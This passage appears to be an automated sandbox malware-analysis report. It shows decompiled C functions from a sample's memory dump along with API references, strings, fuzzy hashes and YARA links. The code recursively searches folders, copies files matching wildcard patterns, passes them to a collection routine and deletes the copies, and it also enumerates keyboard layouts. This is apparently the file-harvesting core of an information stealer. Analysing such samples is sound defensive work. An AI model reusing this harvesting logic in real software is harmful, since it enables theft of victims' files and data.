					_t124 = FindNextFileA(_v272,  &_v596);
					__eflags = _t124;
				} while (_t124 != 0);
				return FindClose(_v272);
			}

0x004087ec
0x004087f9
0x004087ff
0x00408810
0x00408816
0x00408823
0x00000000
0x00000000
0x00000000
0x00000000
0x0040882a
0x0040882a
0x00408836
0x0040883c
0x0040883e
0x00408856
0x00000000
0x00408856
0x0040884c
0x00408852
0x00408854
0x00408872
0x00408878
0x0040887b
0x0040888e
0x00408890
0x004088e8
0x004088fc
0x004088fe
0x0040895a
0x0040896d
0x0040896f
0x00408a68
0x00408a7b
0x00408a7d
0x00408b7f
0x00408b82
0x00408bae
0x00408bb3
0x00408bb3
0x00408a83
0x00408a8f
0x00408aa1
0x00408aa9
0x00408aae
0x00408ab9
0x00408acf
0x00408ad5
0x00408ad9
0x00408af6
0x00408afb
0x00408afb
0x00408afe
0x00408b02
0x00408b1f
0x00408b24
0x00408b24
0x00408b2e
0x00408b40
0x00408b6f
0x00408b74
0x00408b74
0x00408975
0x00408981
0x00408993
0x004089ab
0x004089c1
0x004089e2
0x004089e7
0x004089ea
0x004089ee
0x00408a0b
0x00408a10
0x00408a10
0x00408a1a
0x00408a2c
0x00408a5b
0x00408a60
0x00408a60
0x00408900
0x0040891b
0x0040894d
0x00408952
0x00408952
0x00408892
0x004088a9
0x004088db
0x004088e0
0x004088e0
0x00408bc2
0x00000000
0x00408bc2
0x00000000
0x00408bc7
0x00408bd5
0x00408bdb
0x00408bdb
0x00000000

APIs

wsprintfA.USER32 ref: 004087F9
FindFirstFileA.KERNEL32(?,?), ref: 00408810
StrCmpCA.SHLWAPI(?,00414010), ref: 00408836
StrCmpCA.SHLWAPI(?,00414014), ref: 0040884C
FindNextFileA.KERNEL32(000000FF,?), ref: 00408BD5
FindClose.KERNEL32(000000FF), ref: 00408BEA

Strings

%s\%s, xrefs: 00408866
%s\*, xrefs: 004087ED

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction ID: 0b41a1abc190fb4bcf7a86ba3d7a33f51ad09bf1deba5e068821b47be1bcc9a2
Opcode Fuzzy Hash: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction Fuzzy Hash: 6FD12EB2500109ABCB14DF94DD84EEB73BDAF8C704F04869DB609A3150EA74EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405E40, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 215
filestringCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00405E40(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char* _a20, int _a24, intOrPtr _a28, int _a32, intOrPtr _a36) {
				char _v5004;
				char _v5268;
				void* _v5272;
				struct _WIN32_FIND_DATAA _v5596;
				char _v5860;
				char _v6124;
				int _v6128;
				char _v6132;
				void* _t76;
				int _t77;
				int _t79;
				int _t81;
				int _t85;
				void* _t89;
				int _t91;
				int _t102;
				int _t103;
				int _t104;
				int _t106;
				void* _t157;
				void* _t158;
				void* _t159;

				E004139B0(0x17f0, __ecx);
				wsprintfA( &_v5268, "%s\*");
				_t158 = _t157 + 0xc;
				_v5272 = FindFirstFileA( &_v5268,  &_v5596);
				E0040B720( &_v5004, 0x1388);
				_t76 =  *0x41aa24( &_v5004, _a36, _a16);
				if(_v5272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v5596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L25;
					}
					_t81 =  *0x41aa4c( &(_v5596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v6124, "%s\%s");
						_t159 = _t158 + 0x10;
						_t85 =  *0x41aa4c(_a12, 0x41401a, _a16,  &(_v5596.cFileName));
						__eflags = _t85;
						if(_t85 != 0) {
							__eflags = _a32;
							if(_a32 == 0) {
								wsprintfA( &_v5860, "%s\\%s\\%s", _a4, _a12,  &(_v5596.cFileName));
								_t158 = _t159 + 0x14;
							} else {
								_push( &(_v5596.cFileName));
								_push(_a12);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							}
						} else {
							__eflags = _a32;
							if(_a32 == 0) {
								_push( &(_v5596.cFileName));
								_push(_a4);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							} else {
								wsprintfA( &_v5860, 0x414024,  &(_v5596.cFileName));
								_t158 = _t159 + 0xc;
							}
						}
						_t89 =  *0x41a908( &_v5004);
						__eflags = _t89 - 3;
						if(_t89 <= 3) {
							_t91 = PathMatchSpecA( &(_v5596.cFileName), _a20);
							__eflags = _t91;
							if(_t91 != 0) {
								CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
								E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
								_t158 = _t158 + 0xc;
								DeleteFileA( &(_v5596.cFileName));
							}
							L23:
							__eflags = _a24;
							if(__eflags != 0) {
								E00405E40(_a4, __eflags, _a4, _a8,  &_v5860,  &_v6124, _a20, _a24, _a28, _a32, _a36);
								_t158 = _t158 + 0x24;
							}
							goto L25;
						}
						_t102 = E0040C090( &_v5004, ",",  &_v6132);
						_t158 = _t158 + 0xc;
						_v6128 = _t102;
						while(1) {
							__eflags = _v6128;
							if(_v6128 == 0) {
								break;
							}
							_t103 =  *0x41a990( &(_v5596.cFileName), _v6128, 0);
							__eflags = _t103;
							if(_t103 == 0) {
								_t106 = PathMatchSpecA( &(_v5596.cFileName), _a20);
								__eflags = _t106;
								if(_t106 != 0) {
									CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
									E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
									_t158 = _t158 + 0xc;
									DeleteFileA( &(_v5596.cFileName));
								}
							}
							_t104 = E0040C090(0, ",",  &_v6132);
							_t158 = _t158 + 0xc;
							_v6128 = _t104;
						}
						goto L23;
					}
					goto L4;
					L25:
					_t79 = FindNextFileA(_v5272,  &_v5596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v5272);
			}

0x00405e48
0x00405e5d
0x00405e63
0x00405e7a
0x00405e8c
0x00405e9c
0x00405ea9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405eb0
0x00405eb0
0x00405ebc
0x00405ec2
0x00405ec4
0x00405edc
0x00000000
0x00405edc
0x00405ed2
0x00405ed8
0x00405eda
0x00405ef8
0x00405efe
0x00405f0a
0x00405f10
0x00405f12
0x00405f5a
0x00405f5e
0x00405f9d
0x00405fa3
0x00405f60
0x00405f66
0x00405f6a
0x00405f77
0x00405f7d
0x00405f7d
0x00405f14
0x00405f14
0x00405f18
0x00405f3e
0x00405f42
0x00405f4f
0x00405f55
0x00405f1a
0x00405f2d
0x00405f33
0x00405f33
0x00405f58
0x00405fad
0x00405fb3
0x00405fb6
0x00406084
0x0040608a
0x0040608c
0x0040609e
0x004060b6
0x004060bb
0x004060c5
0x004060c5
0x004060cb
0x004060cb
0x004060cf
0x004060fb
0x00406100
0x00406100
0x00000000
0x004060cf
0x00405fcf
0x00405fd4
0x00405fd7
0x00405fdd
0x00405fdd
0x00405fe4
0x00000000
0x00000000
0x00405ffa
0x00406000
0x00406002
0x0040600f
0x00406015
0x00406017
0x00406029
0x00406041
0x00406046
0x00406050
0x00406050
0x00406017
0x00406064
0x00406069
0x0040606c
0x0040606c
0x00000000
0x00406077
0x00000000
0x00406103
0x00406111
0x00406117
0x00406117
0x00000000

APIs

wsprintfA.USER32 ref: 00405E5D
FindFirstFileA.KERNEL32(?,?,?,00000000,?), ref: 00405E74
lstrcat.KERNEL32(?,?), ref: 00405E9C
StrCmpCA.SHLWAPI(?,00414010), ref: 00405EBC
StrCmpCA.SHLWAPI(?,00414014), ref: 00405ED2
FindNextFileA.KERNEL32(000000FF,?), ref: 00406111
FindClose.KERNEL32(000000FF), ref: 00406126

Strings

%s\%s, xrefs: 00405EEC, 00405F43, 00405F6B
%s\*, xrefs: 00405E51
%s\%s\%s, xrefs: 00405F91

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-1426491737
Opcode ID: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction ID: 0bc9b02d7ab3545e21e8315ee4c466327c2adae897de70d70c4ab632552244ce
Opcode Fuzzy Hash: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction Fuzzy Hash: A88174B5900208EFCB14DFA4DC44DEB73B8EF48745F4486A9F60A96180D7789B94CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00409970, Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00409989
FindFirstFileA.KERNEL32(?,?), ref: 004099A0
StrCmpCA.SHLWAPI(?,00414010), ref: 004099C6
StrCmpCA.SHLWAPI(?,00414014), ref: 004099DC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409B20
FindClose.KERNEL32(000000FF), ref: 00409B35

Strings

%s\*, xrefs: 0040997D

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*
API String ID: 180737720-766152087
Opcode ID: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction ID: f00fb7030c8b22b76076fdd7412de7885a7951318a5a6e6dd79535400c2c2ee4
Opcode Fuzzy Hash: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction Fuzzy Hash: 544167B2510218ABCB10DFA0DD48EEB77B8BF4C705F04859AB20992151E778EB94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E00401280(intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				void* _t43;
				intOrPtr _t66;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t99 = _t98 + 0xc;
				_t43 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t43;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L11;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_push( &(_v596.cFileName));
							_push(_a8);
							wsprintfA( &_v1124, "%s\%s");
							_t100 = _t99 + 0x10;
							_push(0x41401a);
							_push(_a4);
							if( *0x41aa4c() != 0) {
								_push( &(_v596.cFileName));
								_push(_a4);
								wsprintfA( &_v860, "%s\%s");
								_t101 = _t100 + 0x10;
							} else {
								wsprintfA( &_v860, 0x414024,  &(_v596.cFileName));
								_t101 = _t100 + 0xc;
							}
							if(PathMatchSpecA( &(_v596.cFileName), _a12) != 0) {
								E0040B720( &_v1652, 0x104);
								E0040B720( &_v1388, 0x104);
								 *0x41aa24( &_v1652, _a8);
								 *0x41aa24( &_v1652, 0x414018);
								 *0x41aa24( &_v1652,  &(_v596.cFileName));
								_t66 =  *0x41a5a4; // 0x899358
								 *0x41aa24( &_v1388, _t66);
								 *0x41aa24( &_v1388,  &_v860);
								E004137C0(_a16,  &_v1388,  &_v1652);
								_t101 = _t101 + 0xc;
							}
							E00401280( &_v860,  &_v1124, _a12, _a16);
							_t99 = _t101 + 0x10;
							goto L11;
						}
						goto L4;
						L11:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t43;
			}

0x0040128c
0x00401299
0x0040129f
0x004012b0
0x004012b6
0x004012c3
0x004012ca
0x004012ca
0x004012d5
0x004012de
0x004012f6
0x00000000
0x004012f6
0x004012e0
0x004012eb
0x004012f4
0x00401301
0x00401305
0x00401312
0x00401318
0x0040131b
0x00401323
0x0040132c
0x00401352
0x00401356
0x00401363
0x00401369
0x0040132e
0x00401341
0x00401347
0x00401347
0x0040137f
0x00401391
0x004013a2
0x004013b2
0x004013c4
0x004013d8
0x004013de
0x004013eb
0x004013ff
0x00401417
0x0040141c
0x0040141c
0x00401435
0x0040143a
0x00000000
0x0040143a
0x00000000
0x0040143d
0x00401451
0x00000000
0x00401460
0x00000000

APIs

wsprintfA.USER32 ref: 00401299
FindFirstFileA.KERNEL32(?,?), ref: 004012B0
StrCmpCA.SHLWAPI(?,00414010), ref: 004012D6
StrCmpCA.SHLWAPI(?,00414014), ref: 004012EC
FindNextFileA.KERNEL32(000000FF,?), ref: 0040144B
FindClose.KERNEL32(000000FF), ref: 00401460

Strings

%s\%s, xrefs: 00401306, 00401357
%s\*, xrefs: 0040128D

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 9a946c6c1b585fb6ecffd09ad8bd87ccec9506f78aa8e12e69a80bbcdc18ab01
Instruction ID: 4cd9f1fc2f596726c4666f8bf9c741da0555b1e74a9e6087d7d803036aaf4599
Opcode Fuzzy Hash: 9a946c6c1b585fb6ecffd09ad8bd87ccec9506f78aa8e12e69a80bbcdc18ab01
Instruction Fuzzy Hash: 56518672500218ABCB10DFA0DD48EEA73B8BF4C705F0485A9B609A3150E779EB94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00401090, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 0040109D
wsprintfA.USER32 ref: 004010B7
FindFirstFileA.KERNEL32(?,?), ref: 004010CE
StrCmpCA.SHLWAPI(?,00414010), ref: 004010F4
StrCmpCA.SHLWAPI(?,00414014), ref: 0040110A
FindNextFileA.KERNEL32(000000FF,?), ref: 004011D3
FindClose.KERNEL32(000000FF), ref: 004011E8

Strings

%s\%s, xrefs: 004010AB

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID: %s\%s
API String ID: 2809309208-4073750446
Opcode ID: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction ID: 7ffd25992613dc01ae9c6896dea76ef306beac36bf0277a1da173af701ae58c0
Opcode Fuzzy Hash: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction Fuzzy Hash: C63177B6500218ABCB14DFE0DD88EEA77BCAF4C705F0085AAB609A2150DB78D794CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004096E0, Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 213
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004096E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				void* _t76;
				signed int _t77;
				int _t79;
				signed int _t81;
				intOrPtr _t84;
				signed int _t86;
				signed int _t88;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t122;
				intOrPtr _t146;
				void* _t166;
				void* _t167;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t167 = _t166 + 0xc;
				_t76 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t76;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L19;
					}
					_t81 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t167 = _t167 + 0x10;
						_t84 =  *0x41a4cc; // 0x89ae08
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t84, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t122 =  *0x41a030; // 0x89b5d8
							_t86 =  *0x41aa4c( &(_v596.cFileName), _t122);
							__eflags = _t86;
							if(_t86 != 0) {
								_t146 =  *0x41a7e4; // 0x89ab68
								_t88 =  *0x41aa4c( &(_v596.cFileName), _t146);
								__eflags = _t88;
								if(_t88 != 0) {
									_t89 =  *0x41a0d4; // 0x89adc0
									_t90 =  *0x41aa4c( &(_v596.cFileName), _t89);
									__eflags = _t90;
									if(_t90 != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
											_t167 = _t167 + 0x1c;
										}
									} else {
										__eflags = _a28;
										if(__eflags != 0) {
											E00409590(_a4, __eflags,  &_v860, _a4, _a12, _a16);
											_t167 = _t167 + 0x10;
										}
										E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
										_t167 = _t167 + 0x1c;
									}
								} else {
									_push(_a16);
									E00409060(_a4, _a4, _a12, _a8);
									E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
									_t167 = _t167 + 0x2c;
								}
							} else {
								__eflags = _a24;
								if(__eflags != 0) {
									E00409400(_a12, __eflags,  &_v860, _a4, _a12, _a16);
									_t167 = _t167 + 0x10;
								}
								E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
								_t167 = _t167 + 0x1c;
							}
						} else {
							E00408C00(_a4, __eflags,  &_v860, _a4, _a12, _a16);
							E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
							_t167 = _t167 + 0x2c;
						}
						goto L19;
					}
					goto L4;
					L19:
					_t79 = FindNextFileA(_v272,  &_v596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v272);
			}

0x004096ec
0x004096f9
0x004096ff
0x00409710
0x00409716
0x00409723
0x00000000
0x00000000
0x00000000
0x00000000
0x0040972a
0x0040972a
0x00409736
0x0040973c
0x0040973e
0x00409756
0x00000000
0x00409756
0x0040974c
0x00409752
0x00409754
0x00409772
0x00409778
0x0040977b
0x0040978e
0x00409790
0x004097dc
0x004097ea
0x004097f0
0x004097f2
0x00409844
0x00409852
0x00409858
0x0040985a
0x004098a3
0x004098b0
0x004098b6
0x004098b8
0x0040990d
0x00409910
0x00409934
0x00409939
0x00409939
0x004098ba
0x004098ba
0x004098be
0x004098d3
0x004098d8
0x004098d8
0x004098fd
0x00409902
0x00409902
0x0040985c
0x0040985f
0x0040986c
0x00409896
0x0040989b
0x0040989b
0x004097f4
0x004097f4
0x004097f8
0x0040980d
0x00409812
0x00409812
0x00409837
0x0040983c
0x0040983c
0x00409792
0x004097a5
0x004097cf
0x004097d4
0x004097d4
0x00000000
0x00409790
0x00000000
0x0040993c
0x0040994a
0x00409950
0x00409950
0x00000000

APIs

wsprintfA.USER32 ref: 004096F9
FindFirstFileA.KERNEL32(?,?), ref: 00409710
StrCmpCA.SHLWAPI(?,00414010), ref: 00409736
StrCmpCA.SHLWAPI(?,00414014), ref: 0040974C
FindNextFileA.KERNEL32(000000FF,?), ref: 0040994A
FindClose.KERNEL32(000000FF), ref: 0040995F

Strings

%s\%s, xrefs: 00409766
%s\*, xrefs: 004096ED

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: 1519fd6f9f5c0b483e7b6c5176f88e596ecfd98fd3e89c67d3b1837449ae925a
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: FE810EB2510109ABCB14DF99DC84EEB73BDAF8C700F04855DBA09A3251E638EE55CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00409B40, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 183
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409B40(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				char _v1916;
				char _v2180;
				void* _t57;
				CHAR* _t64;
				CHAR* _t66;
				void* _t78;
				void* _t80;
				void* _t82;
				CHAR* _t106;
				CHAR* _t107;
				CHAR* _t121;
				CHAR* _t122;
				void* _t135;
				void* _t136;
				void* _t143;
				void* _t144;

				wsprintfA( &_v268, "%s\\*.*", _a12);
				_t136 = _t135 + 0xc;
				_t57 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t57;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L12;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_t64 =  *0x41a39c; // 0x89cfc0
							wsprintfA( &_v1124, _t64, _a12,  &(_v596.cFileName), _a4);
							_t66 =  *0x41a6d4; // 0x89c2c0
							wsprintfA( &_v1652, _t66,  &_v1124);
							_t121 =  *0x41a59c; // 0x89cff0
							wsprintfA( &_v1388, _t121, _a12,  &(_v596.cFileName), _a4);
							_t122 =  *0x41a6d4; // 0x89c2c0
							wsprintfA( &_v2180, _t122,  &_v1388);
							_t106 =  *0x41a1d8; // 0x884640
							wsprintfA( &_v1916, _t106, _a12,  &(_v596.cFileName), _a4);
							_t107 =  *0x41a6d4; // 0x89c2c0
							wsprintfA( &_v860, _t107,  &_v1916);
							_t78 = E0040BB70( &_v1652);
							_t143 = _t136 + 0x64;
							if(_t78 != 0) {
								E00409970( &_v1124, _a8, _a16,  &(_v596.cFileName), _a20);
								_t143 = _t143 + 0x14;
							}
							_t80 = E0040BB70( &_v2180);
							_t144 = _t143 + 4;
							if(_t80 != 0) {
								E00409970( &_v1388, _a8, _a16,  &(_v596.cFileName), _a20);
								_t144 = _t144 + 0x14;
							}
							_t82 = E0040BB70( &_v860);
							_t136 = _t144 + 4;
							if(_t82 != 0) {
								E00409970( &_v1916, _a8, _a16,  &(_v596.cFileName), _a20);
								_t136 = _t136 + 0x14;
							}
							E0040B720( &_v1124, 0x104);
							E0040B720( &_v1652, 0x104);
							E0040B720( &_v1388, 0x104);
							E0040B720( &_v2180, 0x104);
							E0040B720( &_v1916, 0x104);
							E0040B720( &_v860, 0x104);
							goto L12;
						}
						goto L4;
						L12:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t57;
			}

0x00409b59
0x00409b5f
0x00409b70
0x00409b76
0x00409b83
0x00409b8a
0x00409b8a
0x00409b95
0x00409b9e
0x00409bb6
0x00000000
0x00409bb6
0x00409ba0
0x00409bab
0x00409bb4
0x00409bca
0x00409bd7
0x00409be7
0x00409bf4
0x00409c0c
0x00409c1a
0x00409c2a
0x00409c38
0x00409c50
0x00409c5e
0x00409c6e
0x00409c7c
0x00409c8c
0x00409c91
0x00409c96
0x00409cb2
0x00409cb7
0x00409cb7
0x00409cc1
0x00409cc6
0x00409ccb
0x00409ce7
0x00409cec
0x00409cec
0x00409cf6
0x00409cfb
0x00409d00
0x00409d1c
0x00409d21
0x00409d21
0x00409d30
0x00409d41
0x00409d52
0x00409d63
0x00409d74
0x00409d85
0x00000000
0x00409d85
0x00000000
0x00409d8a
0x00409d9e
0x00000000
0x00409dad
0x00000000

APIs

wsprintfA.USER32 ref: 00409B59
FindFirstFileA.KERNEL32(?,?), ref: 00409B70
StrCmpCA.SHLWAPI(?,00414010), ref: 00409B96
StrCmpCA.SHLWAPI(?,00414014), ref: 00409BAC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409D98
FindClose.KERNEL32(000000FF), ref: 00409DAD

Strings

%s\*.*, xrefs: 00409B4D

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction ID: 40ddeea6463e79618606ce93b98e9b87413dcbde514457397972783d08c0d7b9
Opcode Fuzzy Hash: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction Fuzzy Hash: F4618DB2900108ABC714EFA4DC85EDB73BCBF48700F0485A9F60993151DB75EA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE00, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AE00() {
				void* _v8;
				void _v524;
				int _v528;
				int _v532;
				void* _v536;
				signed int _v540;
				void* _t63;

				_v536 = RtlAllocateHeap(GetProcessHeap(), 0, 0x1f4);
				_v528 = 0;
				_v8 = 0;
				_v532 = GetKeyboardLayoutList(0, 0);
				_v8 = LocalAlloc(0x40, _v532 << 2);
				_v532 = GetKeyboardLayoutList(_v532, _v8);
				_v540 = 0;
				while(_v540 < _v532) {
					GetLocaleInfoA( *(_v8 + _v540 * 4) & 0x0000ffff, 2,  &_v524, 0x200);
					if(_v528 == 0) {
						wsprintfA(_v536, 0x414024,  &_v524);
						_t63 = _t63 + 0xc;
					} else {
						wsprintfA(_v536, "%s / %s", _v536,  &_v524);
						_t63 = _t63 + 0x10;
					}
					_v528 = _v528 + 1;
					memset( &_v524, 0, 0x200);
					_v540 = _v540 + 1;
				}
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				return _v536;
			}

0x0040ae1d
0x0040ae23
0x0040ae2d
0x0040ae3e
0x0040ae56
0x0040ae6a
0x0040ae70
0x0040ae8b
0x0040aeb9
0x0040aec6
0x0040af00
0x0040af06
0x0040aec8
0x0040aee2
0x0040aee8
0x0040aee8
0x0040af12
0x0040af26
0x0040ae85
0x0040ae85
0x0040af35
0x0040af3b
0x0040af3b
0x0040af4a

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
wsprintfA.USER32 ref: 0040AEE2
wsprintfA.USER32 ref: 0040AF00
memset.NTDLL ref: 0040AF26
LocalFree.KERNEL32(00000000), ref: 0040AF3B

Strings

%s / %s, xrefs: 0040AED6

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID: %s / %s
API String ID: 1833916909-2910687431
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: eeb2f0a0621c424ab69100cade097cc135afe8712b6e6ced773cd8003e1ddd0d
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
